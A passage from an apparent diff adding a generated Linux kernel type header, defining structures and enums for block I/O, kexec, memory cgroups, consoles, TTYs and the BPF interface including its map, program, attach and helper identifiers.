cluster_next; + unsigned int cluster_nr; + unsigned int *cluster_next_cpu; + struct percpu_cluster *percpu_cluster; + struct rb_root swap_extent_root; + struct block_device *bdev; + struct file *swap_file; + unsigned int old_block_size; + struct completion comp; + spinlock_t lock; + spinlock_t cont_lock; + struct work_struct discard_work; + struct swap_cluster_list discard_clusters; + struct plist_node avail_lists[0]; +}; + +struct request_queue; + +struct disk_stats; + +struct partition_meta_info; + +struct block_device { + sector_t bd_start_sect; + sector_t bd_nr_sectors; + struct gendisk *bd_disk; + struct request_queue *bd_queue; + struct disk_stats *bd_stats; + long unsigned int bd_stamp; + bool bd_read_only; + u8 bd_partno; + bool bd_write_holder; + bool bd_has_submit_bio; + dev_t bd_dev; + atomic_t bd_openers; + spinlock_t bd_size_lock; + struct inode *bd_inode; + struct super_block *bd_super; + void *bd_claiming; + void *bd_holder; + int bd_fsfreeze_count; + int bd_holders; + struct kobject *bd_holder_dir; + struct mutex bd_fsfreeze_mutex; + struct super_block *bd_fsfreeze_sb; + struct partition_meta_info *bd_meta_info; + struct device bd_device; +}; + +typedef __u32 blk_opf_t; + +typedef u8 blk_status_t; + +struct bvec_iter { + sector_t bi_sector; + unsigned int bi_size; + unsigned int bi_idx; + unsigned int bi_bvec_done; +} __attribute__((packed)); + +typedef unsigned int blk_qc_t; + +typedef void bio_end_io_t(struct bio *); + +struct bio_issue { + u64 value; +}; + +struct bio_vec { + struct page *bv_page; + unsigned int bv_len; + unsigned int bv_offset; +}; + +struct blkcg_gq; + +struct bio_set; + +struct bio { + struct bio *bi_next; + struct block_device *bi_bdev; + blk_opf_t bi_opf; + short unsigned int bi_flags; + short unsigned int bi_ioprio; + blk_status_t bi_status; + atomic_t __bi_remaining; + struct bvec_iter bi_iter; + blk_qc_t bi_cookie; + bio_end_io_t *bi_end_io; + void *bi_private; + struct blkcg_gq *bi_blkg; + struct bio_issue bi_issue; + union {}; + short unsigned int bi_vcnt; + short unsigned int bi_max_vecs; + atomic_t __bi_cnt; + struct bio_vec *bi_io_vec; + struct bio_set *bi_pool; + struct bio_vec bi_inline_vecs[0]; +}; + +struct new_utsname { + char sysname[65]; + char nodename[65]; + char release[65]; + char version[65]; + char machine[65]; + char domainname[65]; +}; + +struct uts_namespace { + struct new_utsname name; + struct user_namespace *user_ns; + struct ucounts *ucounts; + struct ns_common ns; +}; + +typedef long unsigned int elf_greg_t; + +typedef elf_greg_t elf_gregset_t[27]; + +struct elf_siginfo { + int si_signo; + int si_code; + int si_errno; +}; + +struct elf_prstatus_common { + struct elf_siginfo pr_info; + short int pr_cursig; + long unsigned int pr_sigpend; + long unsigned int pr_sighold; + pid_t pr_pid; + pid_t pr_ppid; + pid_t pr_pgrp; + pid_t pr_sid; + struct __kernel_old_timeval pr_utime; + struct __kernel_old_timeval pr_stime; + struct __kernel_old_timeval pr_cutime; + struct __kernel_old_timeval pr_cstime; +}; + +struct elf_prstatus { + struct elf_prstatus_common common; + elf_gregset_t pr_reg; + int pr_fpvalid; +}; + +typedef u32 note_buf_t[92]; + +struct kvec { + void *iov_base; + size_t iov_len; +}; + +struct kimage_arch { + p4d_t *p4d; + pud_t *pud; + pmd_t *pmd; + pte_t *pte; +}; + +typedef void crash_vmclear_fn(); + +typedef long unsigned int kimage_entry_t; + +struct kexec_segment { + union { + void *buf; + void *kbuf; + }; + size_t bufsz; + long unsigned int mem; + size_t memsz; +}; + +struct kimage { + kimage_entry_t head; + kimage_entry_t *entry; + kimage_entry_t *last_entry; + long unsigned int start; + struct page *control_code_page; + struct page *swap_page; + void *vmcoreinfo_data_copy; + long unsigned int nr_segments; + struct kexec_segment segment[16]; + struct list_head control_pages; + struct list_head dest_pages; + struct list_head unusable_pages; + long unsigned int control_page; + unsigned int type: 1; + unsigned int preserve_context: 1; + unsigned int file_mode: 1; + struct kimage_arch arch; + void *elf_headers; + long unsigned int elf_headers_sz; + long unsigned int elf_load_addr; +}; + +enum reboot_mode { + REBOOT_UNDEFINED = -1, + REBOOT_COLD = 0, + REBOOT_WARM = 1, + REBOOT_HARD = 2, + REBOOT_SOFT = 3, + REBOOT_GPIO = 4, +}; + +enum reboot_type { + BOOT_TRIPLE = 116, + BOOT_KBD = 107, + BOOT_BIOS = 98, + BOOT_ACPI = 97, + BOOT_EFI = 101, + BOOT_CF9_FORCE = 112, + BOOT_CF9_SAFE = 113, +}; + +enum wb_stat_item { + WB_RECLAIMABLE = 0, + WB_WRITEBACK = 1, + WB_DIRTIED = 2, + WB_WRITTEN = 3, + NR_WB_STAT_ITEMS = 4, +}; + +typedef void *mempool_alloc_t(gfp_t, void *); + +typedef void mempool_free_t(void *, void *); + +struct mempool_s { + spinlock_t lock; + int min_nr; + int curr_nr; + void **elements; + void *pool_data; + mempool_alloc_t *alloc; + mempool_free_t *free; + wait_queue_head_t wait; +}; + +typedef struct mempool_s mempool_t; + +struct bio_alloc_cache; + +struct bio_set { + struct kmem_cache *bio_slab; + unsigned int front_pad; + struct bio_alloc_cache *cache; + mempool_t bio_pool; + mempool_t bvec_pool; + unsigned int back_pad; + spinlock_t rescue_lock; + struct bio_list rescue_list; + struct work_struct rescue_work; + struct workqueue_struct *rescue_workqueue; + struct hlist_node cpuhp_dead; +}; + +enum memcg_memory_event { + MEMCG_LOW = 0, + MEMCG_HIGH = 1, + MEMCG_MAX = 2, + MEMCG_OOM = 3, + MEMCG_OOM_KILL = 4, + MEMCG_OOM_GROUP_KILL = 5, + MEMCG_SWAP_HIGH = 6, + MEMCG_SWAP_MAX = 7, + MEMCG_SWAP_FAIL = 8, + MEMCG_NR_MEMORY_EVENTS = 9, +}; + +struct mem_cgroup_reclaim_iter { + struct mem_cgroup *position; + unsigned int generation; +}; + +struct shrinker_info { + struct callback_head rcu; + atomic_long_t *nr_deferred; + long unsigned int *map; + int map_nr_max; +}; + +struct lruvec_stats_percpu { + long int state[43]; + long int state_prev[43]; +}; + +struct lruvec_stats { + long int state[43]; + long int state_pending[43]; +}; + +struct mem_cgroup_per_node { + struct lruvec lruvec; + struct lruvec_stats_percpu *lruvec_stats_percpu; + struct lruvec_stats lruvec_stats; + long unsigned int lru_zone_size[20]; + struct mem_cgroup_reclaim_iter iter; + struct shrinker_info *shrinker_info; + struct rb_node tree_node; + long unsigned int usage_in_excess; + bool on_tree; + struct mem_cgroup *memcg; +}; + +struct eventfd_ctx; + +struct mem_cgroup_threshold { + struct eventfd_ctx *eventfd; + long unsigned int threshold; +}; + +struct mem_cgroup_threshold_ary { + int current_threshold; + unsigned int size; + struct mem_cgroup_threshold entries[0]; +}; + +struct obj_cgroup { + struct percpu_ref refcnt; + struct mem_cgroup *memcg; + atomic_t nr_charged_bytes; + union { + struct list_head list; + struct callback_head rcu; + }; +}; + +struct percpu_cluster { + struct swap_cluster_info index; + unsigned int next; +}; + +typedef int suspend_state_t; + +enum suspend_stat_step { + SUSPEND_FREEZE = 1, + SUSPEND_PREPARE = 2, + SUSPEND_SUSPEND = 3, + SUSPEND_SUSPEND_LATE = 4, + SUSPEND_SUSPEND_NOIRQ = 5, + SUSPEND_RESUME_NOIRQ = 6, + SUSPEND_RESUME_EARLY = 7, + SUSPEND_RESUME = 8, +}; + +struct suspend_stats { + int success; + int fail; + int failed_freeze; + int failed_prepare; + int failed_suspend; + int failed_suspend_late; + int failed_suspend_noirq; + int failed_resume; + int failed_resume_early; + int failed_resume_noirq; + int last_failed_dev; + char failed_devs[80]; + int last_failed_errno; + int errno[2]; + int last_failed_step; + u64 last_hw_sleep; + u64 total_hw_sleep; + u64 max_hw_sleep; + enum suspend_stat_step failed_steps[2]; +}; + +enum s2idle_states { + S2IDLE_STATE_NONE = 0, + S2IDLE_STATE_ENTER = 1, + S2IDLE_STATE_WAKE = 2, +}; + +enum con_scroll { + SM_UP = 0, + SM_DOWN = 1, +}; + +enum vc_intensity { + VCI_HALF_BRIGHT = 0, + VCI_NORMAL = 1, + VCI_BOLD = 2, + VCI_MASK = 3, +}; + +struct vc_data; + +struct console_font; + +struct consw { + struct module *owner; + const char * (*con_startup)(); + void (*con_init)(struct vc_data *, int); + void (*con_deinit)(struct vc_data *); + void (*con_clear)(struct vc_data *, int, int, int, int); + void (*con_putc)(struct vc_data *, int, int, int); + void (*con_putcs)(struct vc_data *, const short unsigned int *, int, int, int); + void (*con_cursor)(struct vc_data *, int); + bool (*con_scroll)(struct vc_data *, unsigned int, unsigned int, enum con_scroll, unsigned int); + int (*con_switch)(struct vc_data *); + int (*con_blank)(struct vc_data *, int, int); + int (*con_font_set)(struct vc_data *, struct console_font *, unsigned int, unsigned int); + int (*con_font_get)(struct vc_data *, struct console_font *, unsigned int); + int (*con_font_default)(struct vc_data *, struct console_font *, char *); + int (*con_resize)(struct vc_data *, unsigned int, unsigned int, unsigned int); + void (*con_set_palette)(struct vc_data *, const unsigned char *); + void (*con_scrolldelta)(struct vc_data *, int); + int (*con_set_origin)(struct vc_data *); + void (*con_save_screen)(struct vc_data *); + u8 (*con_build_attr)(struct vc_data *, u8, enum vc_intensity, bool, bool, bool, bool); + void (*con_invert_region)(struct vc_data *, u16 *, int); + u16 * (*con_screen_pos)(const struct vc_data *, int); + long unsigned int (*con_getxy)(struct vc_data *, long unsigned int, int *, int *); + void (*con_flush_scrollback)(struct vc_data *); + int (*con_debug_enter)(struct vc_data *); + int (*con_debug_leave)(struct vc_data *); +}; + +struct tty_buffer { + union { + struct tty_buffer *next; + struct llist_node free; + }; + int used; + int size; + int commit; + int lookahead; + int read; + bool flags; + long unsigned int data[0]; +}; + +struct tty_bufhead { + struct tty_buffer *head; + struct work_struct work; + struct mutex lock; + atomic_t priority; + struct tty_buffer sentinel; + struct llist_head free; + atomic_t mem_used; + int mem_limit; + struct tty_buffer *tail; +}; + +struct __kfifo { + unsigned int in; + unsigned int out; + unsigned int mask; + unsigned int esize; + void *data; +}; + +struct tty_port_operations; + +struct tty_port_client_operations; + +struct tty_port { + struct tty_bufhead buf; + struct tty_struct *tty; + struct tty_struct *itty; + const struct tty_port_operations *ops; + const struct tty_port_client_operations *client_ops; + spinlock_t lock; + int blocked_open; + int count; + wait_queue_head_t open_wait; + wait_queue_head_t delta_msr_wait; + long unsigned int flags; + long unsigned int iflags; + unsigned char console: 1; + struct mutex mutex; + struct mutex buf_mutex; + unsigned char *xmit_buf; + struct { + union { + struct __kfifo kfifo; + unsigned char *type; + const unsigned char *const_type; + char (*rectype)[0]; + unsigned char *ptr; + const unsigned char *ptr_const; + }; + unsigned char buf[0]; + } xmit_fifo; + unsigned int close_delay; + unsigned int closing_wait; + int drain_delay; + struct kref kref; + void *client_data; +}; + +struct vc_state { + unsigned int x; + unsigned int y; + unsigned char color; + unsigned char Gx_charset[2]; + unsigned int charset: 1; + enum vc_intensity intensity; + bool italic; + bool underline; + bool blink; + bool reverse; +}; + +struct console_font { + unsigned int width; + unsigned int height; + unsigned int charcount; + unsigned char *data; +}; + +struct vt_mode { + char mode; + char waitv; + short int relsig; + short int acqsig; + short int frsig; +}; + +struct uni_pagedict; + +struct vc_data { + struct tty_port port; + struct vc_state state; + struct vc_state saved_state; + short unsigned int vc_num; + unsigned int vc_cols; + unsigned int vc_rows; + unsigned int vc_size_row; + unsigned int vc_scan_lines; + unsigned int vc_cell_height; + long unsigned int vc_origin; + long unsigned int vc_scr_end; + long unsigned int vc_visible_origin; + unsigned int vc_top; + unsigned int vc_bottom; + const struct consw *vc_sw; + short unsigned int *vc_screenbuf; + unsigned int vc_screenbuf_size; + unsigned char vc_mode; + unsigned char vc_attr; + unsigned char vc_def_color; + unsigned char vc_ulcolor; + unsigned char vc_itcolor; + unsigned char vc_halfcolor; + unsigned int vc_cursor_type; + short unsigned int vc_complement_mask; + short unsigned int vc_s_complement_mask; + long unsigned int vc_pos; + short unsigned int vc_hi_font_mask; + struct console_font vc_font; + short unsigned int vc_video_erase_char; + unsigned int vc_state; + unsigned int vc_npar; + unsigned int vc_par[16]; + struct vt_mode vt_mode; + struct pid *vt_pid; + int vt_newvt; + wait_queue_head_t paste_wait; + unsigned int vc_disp_ctrl: 1; + unsigned int vc_toggle_meta: 1; + unsigned int vc_decscnm: 1; + unsigned int vc_decom: 1; + unsigned int vc_decawm: 1; + unsigned int vc_deccm: 1; + unsigned int vc_decim: 1; + unsigned int vc_priv: 3; + unsigned int vc_need_wrap: 1; + unsigned int vc_can_do_color: 1; + unsigned int vc_report_mouse: 2; + unsigned char vc_utf: 1; + unsigned char vc_utf_count; + int vc_utf_char; + long unsigned int vc_tab_stop[4]; + unsigned char vc_palette[48]; + short unsigned int *vc_translate; + unsigned int vc_resize_user; + unsigned int vc_bell_pitch; + unsigned int vc_bell_duration; + short unsigned int vc_cur_blink_ms; + struct vc_data **vc_display_fg; + struct uni_pagedict *uni_pagedict; + struct uni_pagedict **uni_pagedict_loc; + u32 **vc_uni_lines; +}; + +struct tty_driver; + +struct console { + char name[16]; + void (*write)(struct console *, const char *, unsigned int); + int (*read)(struct console *, char *, unsigned int); + struct tty_driver * (*device)(struct console *, int *); + void (*unblank)(); + int (*setup)(struct console *, char *); + int (*exit)(struct console *); + int (*match)(struct console *, char *, int, char *); + short int flags; + short int index; + int cflag; + uint ispeed; + uint ospeed; + u64 seq; + long unsigned int dropped; + void *data; + struct hlist_node node; +}; + +struct hstate { + struct mutex resize_lock; + int next_nid_to_alloc; + int next_nid_to_free; + unsigned int order; + unsigned int demote_order; + long unsigned int mask; + long unsigned int max_huge_pages; + long unsigned int nr_huge_pages; + long unsigned int free_huge_pages; + long unsigned int resv_huge_pages; + long unsigned int surplus_huge_pages; + long unsigned int nr_overcommit_huge_pages; + struct list_head hugepage_activelist; + struct list_head hugepage_freelists[64]; + unsigned int max_huge_pages_node[64]; + unsigned int nr_huge_pages_node[64]; + unsigned int free_huge_pages_node[64]; + unsigned int surplus_huge_pages_node[64]; + struct cftype cgroup_files_dfl[8]; + struct cftype cgroup_files_legacy[10]; + char name[32]; +}; + +enum kmsg_dump_reason { + KMSG_DUMP_UNDEF = 0, + KMSG_DUMP_PANIC = 1, + KMSG_DUMP_OOPS = 2, + KMSG_DUMP_EMERG = 3, + KMSG_DUMP_SHUTDOWN = 4, + KMSG_DUMP_MAX = 5, +}; + +struct kexec_load_limit { + struct mutex mutex; + int limit; +}; + +typedef long unsigned int ulong; + +enum lockdep_ok { + LOCKDEP_STILL_OK = 0, + LOCKDEP_NOW_UNRELIABLE = 1, +}; + +enum hk_type { + HK_TYPE_TIMER = 0, + HK_TYPE_RCU = 1, + HK_TYPE_MISC = 2, + HK_TYPE_SCHED = 3, + HK_TYPE_TICK = 4, + HK_TYPE_DOMAIN = 5, + HK_TYPE_WQ = 6, + HK_TYPE_MANAGED_IRQ = 7, + HK_TYPE_KTHREAD = 8, + HK_TYPE_MAX = 9, +}; + +typedef int (*cpu_stop_fn_t)(void *); + +struct cpu_stop_done; + +struct cpu_stop_work { + struct list_head list; + cpu_stop_fn_t fn; + long unsigned int caller; + void *arg; + struct cpu_stop_done *done; +}; + +typedef __u16 __be16; + +typedef __u32 __be32; + +typedef __u64 __be64; + +typedef __u32 __wsum; + +typedef unsigned int slab_flags_t; + +typedef struct { + atomic_t refcnt; +} rcuref_t; + +struct bpf_insn { + __u8 code; + __u8 dst_reg: 4; + __u8 src_reg: 4; + __s16 off; + __s32 imm; +}; + +struct bpf_cgroup_storage_key { + __u64 cgroup_inode_id; + __u32 attach_type; +}; + +enum bpf_cgroup_iter_order { + BPF_CGROUP_ITER_ORDER_UNSPEC = 0, + BPF_CGROUP_ITER_SELF_ONLY = 1, + BPF_CGROUP_ITER_DESCENDANTS_PRE = 2, + BPF_CGROUP_ITER_DESCENDANTS_POST = 3, + BPF_CGROUP_ITER_ANCESTORS_UP = 4, +}; + +enum bpf_map_type { + BPF_MAP_TYPE_UNSPEC = 0, + BPF_MAP_TYPE_HASH = 1, + BPF_MAP_TYPE_ARRAY = 2, + BPF_MAP_TYPE_PROG_ARRAY = 3, + BPF_MAP_TYPE_PERF_EVENT_ARRAY = 4, + BPF_MAP_TYPE_PERCPU_HASH = 5, + BPF_MAP_TYPE_PERCPU_ARRAY = 6, + BPF_MAP_TYPE_STACK_TRACE = 7, + BPF_MAP_TYPE_CGROUP_ARRAY = 8, + BPF_MAP_TYPE_LRU_HASH = 9, + BPF_MAP_TYPE_LRU_PERCPU_HASH = 10, + BPF_MAP_TYPE_LPM_TRIE = 11, + BPF_MAP_TYPE_ARRAY_OF_MAPS = 12, + BPF_MAP_TYPE_HASH_OF_MAPS = 13, + BPF_MAP_TYPE_DEVMAP = 14, + BPF_MAP_TYPE_SOCKMAP = 15, + BPF_MAP_TYPE_CPUMAP = 16, + BPF_MAP_TYPE_XSKMAP = 17, + BPF_MAP_TYPE_SOCKHASH = 18, + BPF_MAP_TYPE_CGROUP_STORAGE_DEPRECATED = 19, + BPF_MAP_TYPE_CGROUP_STORAGE = 19, + BPF_MAP_TYPE_REUSEPORT_SOCKARRAY = 20, + BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE = 21, + BPF_MAP_TYPE_QUEUE = 22, + BPF_MAP_TYPE_STACK = 23, + BPF_MAP_TYPE_SK_STORAGE = 24, + BPF_MAP_TYPE_DEVMAP_HASH = 25, + BPF_MAP_TYPE_STRUCT_OPS = 26, + BPF_MAP_TYPE_RINGBUF = 27, + BPF_MAP_TYPE_INODE_STORAGE = 28, + BPF_MAP_TYPE_TASK_STORAGE = 29, + BPF_MAP_TYPE_BLOOM_FILTER = 30, + BPF_MAP_TYPE_USER_RINGBUF = 31, + BPF_MAP_TYPE_CGRP_STORAGE = 32, +}; + +enum bpf_prog_type { + BPF_PROG_TYPE_UNSPEC = 0, + BPF_PROG_TYPE_SOCKET_FILTER = 1, + BPF_PROG_TYPE_KPROBE = 2, + BPF_PROG_TYPE_SCHED_CLS = 3, + BPF_PROG_TYPE_SCHED_ACT = 4, + BPF_PROG_TYPE_TRACEPOINT = 5, + BPF_PROG_TYPE_XDP = 6, + BPF_PROG_TYPE_PERF_EVENT = 7, + BPF_PROG_TYPE_CGROUP_SKB = 8, + BPF_PROG_TYPE_CGROUP_SOCK = 9, + BPF_PROG_TYPE_LWT_IN = 10, + BPF_PROG_TYPE_LWT_OUT = 11, + BPF_PROG_TYPE_LWT_XMIT = 12, + BPF_PROG_TYPE_SOCK_OPS = 13, + BPF_PROG_TYPE_SK_SKB = 14, + BPF_PROG_TYPE_CGROUP_DEVICE = 15, + BPF_PROG_TYPE_SK_MSG = 16, + BPF_PROG_TYPE_RAW_TRACEPOINT = 17, + BPF_PROG_TYPE_CGROUP_SOCK_ADDR = 18, + BPF_PROG_TYPE_LWT_SEG6LOCAL = 19, + BPF_PROG_TYPE_LIRC_MODE2 = 20, + BPF_PROG_TYPE_SK_REUSEPORT = 21, + BPF_PROG_TYPE_FLOW_DISSECTOR = 22, + BPF_PROG_TYPE_CGROUP_SYSCTL = 23, + BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE = 24, + BPF_PROG_TYPE_CGROUP_SOCKOPT = 25, + BPF_PROG_TYPE_TRACING = 26, + BPF_PROG_TYPE_STRUCT_OPS = 27, + BPF_PROG_TYPE_EXT = 28, + BPF_PROG_TYPE_LSM = 29, + BPF_PROG_TYPE_SK_LOOKUP = 30, + BPF_PROG_TYPE_SYSCALL = 31, + BPF_PROG_TYPE_NETFILTER = 32, +}; + +enum bpf_attach_type { + BPF_CGROUP_INET_INGRESS = 0, + BPF_CGROUP_INET_EGRESS = 1, + BPF_CGROUP_INET_SOCK_CREATE = 2, + BPF_CGROUP_SOCK_OPS = 3, + BPF_SK_SKB_STREAM_PARSER = 4, + BPF_SK_SKB_STREAM_VERDICT = 5, + BPF_CGROUP_DEVICE = 6, + BPF_SK_MSG_VERDICT = 7, + BPF_CGROUP_INET4_BIND = 8, + BPF_CGROUP_INET6_BIND = 9, + BPF_CGROUP_INET4_CONNECT = 10, + BPF_CGROUP_INET6_CONNECT = 11, + BPF_CGROUP_INET4_POST_BIND = 12, + BPF_CGROUP_INET6_POST_BIND = 13, + BPF_CGROUP_UDP4_SENDMSG = 14, + BPF_CGROUP_UDP6_SENDMSG = 15, + BPF_LIRC_MODE2 = 16, + BPF_FLOW_DISSECTOR = 17, + BPF_CGROUP_SYSCTL = 18, + BPF_CGROUP_UDP4_RECVMSG = 19, + BPF_CGROUP_UDP6_RECVMSG = 20, + BPF_CGROUP_GETSOCKOPT = 21, + BPF_CGROUP_SETSOCKOPT = 22, + BPF_TRACE_RAW_TP = 23, + BPF_TRACE_FENTRY = 24, + BPF_TRACE_FEXIT = 25, + BPF_MODIFY_RETURN = 26, + BPF_LSM_MAC = 27, + BPF_TRACE_ITER = 28, + BPF_CGROUP_INET4_GETPEERNAME = 29, + BPF_CGROUP_INET6_GETPEERNAME = 30, + BPF_CGROUP_INET4_GETSOCKNAME = 31, + BPF_CGROUP_INET6_GETSOCKNAME = 32, + BPF_XDP_DEVMAP = 33, + BPF_CGROUP_INET_SOCK_RELEASE = 34, + BPF_XDP_CPUMAP = 35, + BPF_SK_LOOKUP = 36, + BPF_XDP = 37, + BPF_SK_SKB_VERDICT = 38, + BPF_SK_REUSEPORT_SELECT = 39, + BPF_SK_REUSEPORT_SELECT_OR_MIGRATE = 40, + BPF_PERF_EVENT = 41, + BPF_TRACE_KPROBE_MULTI = 42, + BPF_LSM_CGROUP = 43, + BPF_STRUCT_OPS = 44, + __MAX_BPF_ATTACH_TYPE = 45, +}; + +union bpf_attr { + struct { + __u32 map_type; + __u32 key_size; + __u32 value_size; + __u32 max_entries; + __u32 map_flags; + __u32 inner_map_fd; + __u32 numa_node; + char map_name[16]; + __u32 map_ifindex; + __u32 btf_fd; + __u32 btf_key_type_id; + __u32 btf_value_type_id; + __u32 btf_vmlinux_value_type_id; + __u64 map_extra; + }; + struct { + __u32 map_fd; + __u64 key; + union { + __u64 value; + __u64 next_key; + }; + __u64 flags; + }; + struct { + __u64 in_batch; + __u64 out_batch; + __u64 keys; + __u64 values; + __u32 count; + __u32 map_fd; + __u64 elem_flags; + __u64 flags; + } batch; + struct { + __u32 prog_type; + __u32 insn_cnt; + __u64 insns; + __u64 license; + __u32 log_level; + __u32 log_size; + __u64 log_buf; + __u32 kern_version; + __u32 prog_flags; + char prog_name[16]; + __u32 prog_ifindex; + __u32 expected_attach_type; + __u32 prog_btf_fd; + __u32 func_info_rec_size; + __u64 func_info; + __u32 func_info_cnt; + __u32 line_info_rec_size; + __u64 line_info; + __u32 line_info_cnt; + __u32 attach_btf_id; + union { + __u32 attach_prog_fd; + __u32 attach_btf_obj_fd; + }; + __u32 core_relo_cnt; + __u64 fd_array; + __u64 core_relos; + __u32 core_relo_rec_size; + __u32 log_true_size; + }; + struct { + __u64 pathname; + __u32 bpf_fd; + __u32 file_flags; + __s32 path_fd; + }; + struct { + __u32 target_fd; + __u32 attach_bpf_fd; + __u32 attach_type; + __u32 attach_flags; + __u32 replace_bpf_fd; + }; + struct { + __u32 prog_fd; + __u32 retval; + __u32 data_size_in; + __u32 data_size_out; + __u64 data_in; + __u64 data_out; + __u32 repeat; + __u32 duration; + __u32 ctx_size_in; + __u32 ctx_size_out; + __u64 ctx_in; + __u64 ctx_out; + __u32 flags; + __u32 cpu; + __u32 batch_size; + } test; + struct { + union { + __u32 start_id; + __u32 prog_id; + __u32 map_id; + __u32 btf_id; + __u32 link_id; + }; + __u32 next_id; + __u32 open_flags; + }; + struct { + __u32 bpf_fd; + __u32 info_len; + __u64 info; + } info; + struct { + __u32 target_fd; + __u32 attach_type; + __u32 query_flags; + __u32 attach_flags; + __u64 prog_ids; + __u32 prog_cnt; + __u64 prog_attach_flags; + } query; + struct { + __u64 name; + __u32 prog_fd; + } raw_tracepoint; + struct { + __u64 btf; + __u64 btf_log_buf; + __u32 btf_size; + __u32 btf_log_size; + __u32 btf_log_level; + __u32 btf_log_true_size; + }; + struct { + __u32 pid; + __u32 fd; + __u32 flags; + __u32 buf_len; + __u64 buf; + __u32 prog_id; + __u32 fd_type; + __u64 probe_offset; + __u64 probe_addr; + } task_fd_query; + struct { + union { + __u32 prog_fd; + __u32 map_fd; + }; + union { + __u32 target_fd; + __u32 target_ifindex; + }; + __u32 attach_type; + __u32 flags; + union { + __u32 target_btf_id; + struct { + __u64 iter_info; + __u32 iter_info_len; + }; + struct { + __u64 bpf_cookie; + } perf_event; + struct { + __u32 flags; + __u32 cnt; + __u64 syms; + __u64 addrs; + __u64 cookies; + } kprobe_multi; + struct { + __u32 target_btf_id; + __u64 cookie; + } tracing; + struct { + __u32 pf; + __u32 hooknum; + __s32 priority; + __u32 flags; + } netfilter; + }; + } link_create; + struct { + __u32 link_fd; + union { + __u32 new_prog_fd; + __u32 new_map_fd; + }; + __u32 flags; + union { + __u32 old_prog_fd; + __u32 old_map_fd; + }; + } link_update; + struct { + __u32 link_fd; + } link_detach; + struct { + __u32 type; + } enable_stats; + struct { + __u32 link_fd; + __u32 flags; + } iter_create; + struct { + __u32 prog_fd; + __u32 map_fd; + __u32 flags; + } prog_bind_map; +}; + +enum bpf_func_id { + BPF_FUNC_unspec = 0, + BPF_FUNC_map_lookup_elem = 1, + BPF_FUNC_map_update_elem = 2, + BPF_FUNC_map_delete_elem = 3, + BPF_FUNC_probe_read = 4, + BPF_FUNC_ktime_get_ns = 5, + BPF_FUNC_trace_printk = 6, + BPF_FUNC_get_prandom_u32 = 7, + BPF_FUNC_get_smp_processor_id = 8, + BPF_FUNC_skb_store_bytes = 9, + BPF_FUNC_l3_csum_replace = 10, + BPF_FUNC_l4_csum_replace = 11, + BPF_FUNC_tail_call = 12, + BPF_FUNC_clone_redirect = 13, + BPF_FUNC_get_current_pid_tgid = 14, + BPF_FUNC_get_current_uid_gid = 15, + BPF_FUNC_get_current_comm = 16, + BPF_FUNC_get_cgroup_classid = 17, + BPF_FUNC_skb_vlan_push = 18, + BPF_FUNC_skb_vlan_pop = 19, + BPF_FUNC_skb_get_tunnel_key = 20, + BPF_FUNC_skb_set_tunnel_key = 21, + BPF_FUNC_perf_event_read = 22, + BPF_FUNC_redirect = 23, + BPF_FUNC_get_route_realm = 24, + BPF_FUNC_perf_event_output = 25, + BPF_FUNC_skb_load_bytes = 26, + BPF_FUNC_get_stackid = 27, + BPF_FUNC_csum_diff = 28, + BPF_FUNC_skb_get_tunnel_opt = 29, + BPF_FUNC_skb_set_tunnel_opt = 30, + BPF_FUNC_skb_change_proto = 31, + BPF_FUNC_skb_change_type = 32, + BPF_FUNC_skb_under_cgroup = 33, + BPF_FUNC_get_hash_recalc = 34, + BPF_FUNC_get_current_task = 35, + BPF_FUNC_probe_write_user = 36, + BPF_FUNC_current_task_under_cgroup = 37, + BPF_FUNC_skb_change_tail = 38, + BPF_FUNC_skb_pull_data = 39, + BPF_FUNC_csum_update = 40, + BPF_FUNC_set_hash_invalid = 41, + BPF_FUNC_get_numa_node_id = 42, + BPF_FUNC_skb_change_head = 43, + BPF_FUNC_xdp_adjust_head = 44, + BPF_FUNC_probe_read_str = 45, + BPF_FUNC_get_socket_cookie = 46, + BPF_FUNC_get_socket_uid = 47, + BPF_FUNC_set_hash = 48, + BPF_FUNC_setsockopt = 49, + BPF_FUNC_skb_adjust_room = 50, + BPF_FUNC_redirect_map = 51, + BPF_FUNC_sk_redirect_map = 52, + BPF_FUNC_sock_map_update = 53, + BPF_FUNC_xdp_adjust_meta = 54, + BPF_FUNC_perf_event_read_value = 55, + BPF_FUNC_perf_prog_read_value = 56, + BPF_FUNC_getsockopt = 57, + BPF_FUNC_override_return = 58, + BPF_FUNC_sock_ops_cb_flags_set = 59, + BPF_FUNC_msg_redirect_map = 60, + BPF_FUNC_msg_apply_bytes = 61, + BPF_FUNC_msg_cork_bytes = 62, + BPF_FUNC_msg_pull_data = 63, + BPF_FUNC_bind = 64, + BPF_FUNC_xdp_adjust_tail = 65, + BPF_FUNC_skb_get_xfrm_state = 66, + BPF_FUNC_get_stack = 67, + BPF_FUNC_skb_load_bytes_relative = 68, + BPF_FUNC_fib_lookup = 69, + BPF_FUNC_sock_hash_update = 70, + BPF_FUNC_msg_redirect_hash = 71, + BPF_FUNC_sk_redirect_hash = 72, + BPF_FUNC_lwt_push_encap = 73, + BPF_FUNC_lwt_seg6_store_bytes = 74, + BPF_FUNC_lwt_seg6_adjust_srh = 75, + BPF_FUNC_lwt_seg6_action = 76, + BPF_FUNC_rc_repeat = 77, + BPF_FUNC_rc_keydown = 78, + BPF_FUNC_skb_cgroup_id = 79, + BPF_FUNC_get_current_cgroup_id = 80, + BPF_FUNC_get_local_storage = 81, + BPF_FUNC_sk_select_reuseport = 82, + BPF_FUNC_skb_ancestor_cgroup_id = 83, + BPF_FUNC_sk_lookup_tcp = 84, + BPF_FUNC_sk_lookup_udp = 85, + BPF_FUNC_sk_release = 86, + BPF_FUNC_map_push_elem = 87, + BPF_FUNC_map_pop_elem = 88, + BPF_FUNC_map_peek_elem = 89, + BPF_FUNC_msg_push_data = 90, + BPF_FUNC_msg_pop_data = 91, + BPF_FUNC_rc_pointer_rel = 92, + BPF_FUNC_spin_lock = 93, + BPF_FUNC_spin_unlock = 94, + BPF_FUNC_sk_fullsock = 95, + BPF_FUNC_tcp_sock = 96, + BPF_FUNC_skb_ecn_set_ce = 97, + BPF_FUNC_get_listener_sock = 98, + BPF_FUNC_skc_lookup_tcp = 99, + BPF_FUNC_tcp_check_syncookie = 100, + BPF_FUNC_sysctl_get_name = 101, + BPF_FUNC_sysctl_get_current_value = 102, + BPF_FUNC_sysctl_get_new_value = 103, + BPF_FUNC_sysctl_set_new_value = 104, + BPF_FUNC_strtol = 105, + BPF_FUNC_strtoul = 106, + BPF_FUNC_sk_storage_get = 107, + BPF_FUNC_sk_storage_delete = 108, + 